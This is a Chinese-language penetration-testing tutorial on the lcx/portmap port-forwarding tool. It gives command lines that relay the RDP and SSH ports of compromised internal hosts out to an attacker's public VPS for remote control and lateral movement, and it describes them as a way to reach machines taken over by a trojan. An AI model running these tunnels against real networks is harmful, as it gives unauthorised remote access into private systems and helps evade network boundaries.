[内网渗透]lcx端口转发
0x01 简介
lcx是一款端口转发工具,有三个功能:
- 第一个功能将本地端口转发到远程主机某个端口上
- 第二个功能将本地端口转发到本地另一个端口上
- 第三个功能是进行监听并进行转发使用
Lcx使用的前提是在端口转发的时候需要一台公网服务器
Lcx程序多用于被控制计算机处于内网的时候,被控制机可能中了木马程序,虽然能够进行控制,但还是没有使用远程终端登录到本机进行管理方便,因此在很多情况下,都会想方设法在被控制计算机上开启3389端口,然后通过lcx等进行端口转发,进而在本地连接到被控制计算机的远程终端并进行管理和使用。在没有端口转发的情况下外网主机是不能直接连接内网主机的,但是lcx工具可以将内网主机(出入内网主机的需要能够ping通互联网)的某个端口抓发到外网的某个端口上面,这样的话处于外网的主机可以将映射到外网的端口再反弹到另一个外网的端口上面(用的最多的是3389),这样我们就可以直接远程连接反弹的端口就可以与内网主机进行通信。故内网已经打通,说实话lcx的工具如同在路由器上面做了端口转发。
0x02 Linux下lcx使用方法
linux下的工具名称为portmap
Usage:./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
-v: version
-h1: host1
-h2: host2
-p1: port1
-p2: port2
-log: log the data
-m: the action method for this tool
1: listen on PORT1 and connect to HOST2:PORT2
2: listen on PORT1 and PORT2
3: connect to HOST1:PORT1 and HOST2:PORT2
1.在外网中转服务器上运行:
./portmap -m 2 -p1 6666 -h2 118.*.*.2 -p2 7777
将本地7777端口上的服务转发到6666端口上
2.内网需要转发的机器上运行:
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 118.*.*.2 -p2 6666
将本地22端口转发到外网机器上的6666端口
3.以上两个步骤就已经做好了端口转发,此时,我们通过连接外网服务器的7777端口就可以连接到那台内网主机的22端口
0x03 Windows下lcx使用方法
Windows下的工具名称为lcx
Usage:lcx-<listen|tran|slave> <option> [-log logfile]
-tran <等待连接的端口> <目标ip> <目标端口> (端口映射)
-listen <监听slave请求的端口(对应slave 的第二个参数)> <等待连接的端口> (端口转发)
-slave <你的ip> <监听端口(对应listen的第一个参数)> <目标ip> <目标端口> (端口转发)
1.在外网中转服务器上运行:
lcx -listen 40050 10000
监听本地40050端口,同时将数据转发到10000端口
2.内网需要转发的机器上运行:
lcx -slave 1.1.1.1 40050 10.10.0.3 3389
将本地的3389端口转发到外网1.1.1.1的40050端口上
3.此时我们通过连接外网服务器的10000端口就可以连接到那台内网主机的22端口
0x04 使用示例
Lcx有它的局限性,比如原始版本不支持linux,不免杀等等,但lcx在某些特定的场合依然发挥着重要的作用。同样基于Socket协议。
4.1 基本用法
现在有这么一个环境,内网中有一台Web服务器,但是我们处于公网,所以无法访问该服务器。于是,我们可以在中间Web服务器上利用LCX进行端口转发,将内网Web主机的80端口转发到公网Web服务器的8080端口上,那么我们访问公网Web服务器的8080端口就相当于访问内网Web服务器的80端口。
公网web服务器的配置
lcx.exe -tran 8080 192.168.10.19 80 #将本地的8080端口转发到192.168.10.19的80端口
当我们访问公网服务器的8080端口时,就相当于访问内网服务器的80端口
4.2 LCX实现本地端口转发(Windows的场景)
我们现在拿到了一台主机的账号、密码和权限,现在想远程RDP连接该主机,该主机的3389端口只对内开放,不对外开放。所以,我们可以利用lcx进行本地端口的转发。将3389的流量转到33389端口上。
目标机的操作,将3389端口的流量转发给33389端口。
lcx.exe -tran 33389 127.0.0.1 3389
这个时候,只需要远程连接目标主机的33389端口即可。
4.3 LCX实现本地端口转发(Linux的场景)
我们现在拿到了一台主机的账号、密码和权限,现在想远程SSH连接该主机,该主机的22端口只对内开放,不对外开放。所以,我们可以利用lcx进行本地端口的转发。将2222的流量转到22端口上。
目标机的操作,将2222端口的流量都转发到22端口上
只需要远程连接目标主机的2222端口即可。
4.4 LCX实现SSH到内网主机(公网服务器是Windows)
现在我们有这么一个环境,我们获得了公网服务器的权限,并且通过公网服务器进一步的内网渗透,得到了内网主机的权限。拓扑图如下。
于是,我们还可以利用lcx来进行22端口的转发。
在公网windows服务器上的操作
lcx.exe -tran 2222 192.168.10.129 22
#意思就是将本地2222端口转发给192.168.10.129主机的22号端口
所以,我们ssh连接到公网服务器的2222端口即可
4.5 LCX实现SSH到内网主机(公网服务器是Linux)
首先,在VPS上进行下面操作。监听 2222 的流量,将其转发给 22222 端口。相当于正向代理
./lcx -m 2 -p1 22222 -h2 127.0.0.1 -p2 2222
#将本地2222端口的流量给本地的22222端口
在内网主机上操作,将22端口的流量转发到VPS(114.118.80.138)的22222端口。相当于反向代理
./lcx -m 3 -h1 127.0.0.1 -p1 22 -h2 114.118.80.138 -p2 22222
#将本地22端口的流量给114.118.80.138的22222端口
我们连接VPS的2222端口,就相当于连接了内网主机的22端口。
ssh root@114.118.80.138 2222
#连接到114.118.80.138的2222端口
0x05 参考链接
https://blog.csdn.net/stonesharp/article/details/56834347
https://blog.csdn.net/l957456849/article/details/81610648
https://blog.csdn.net/wyvbboy/article/details/61921773
https://blog.csdn.net/qq_36119192/article/details/84568266#LCX实现端口转发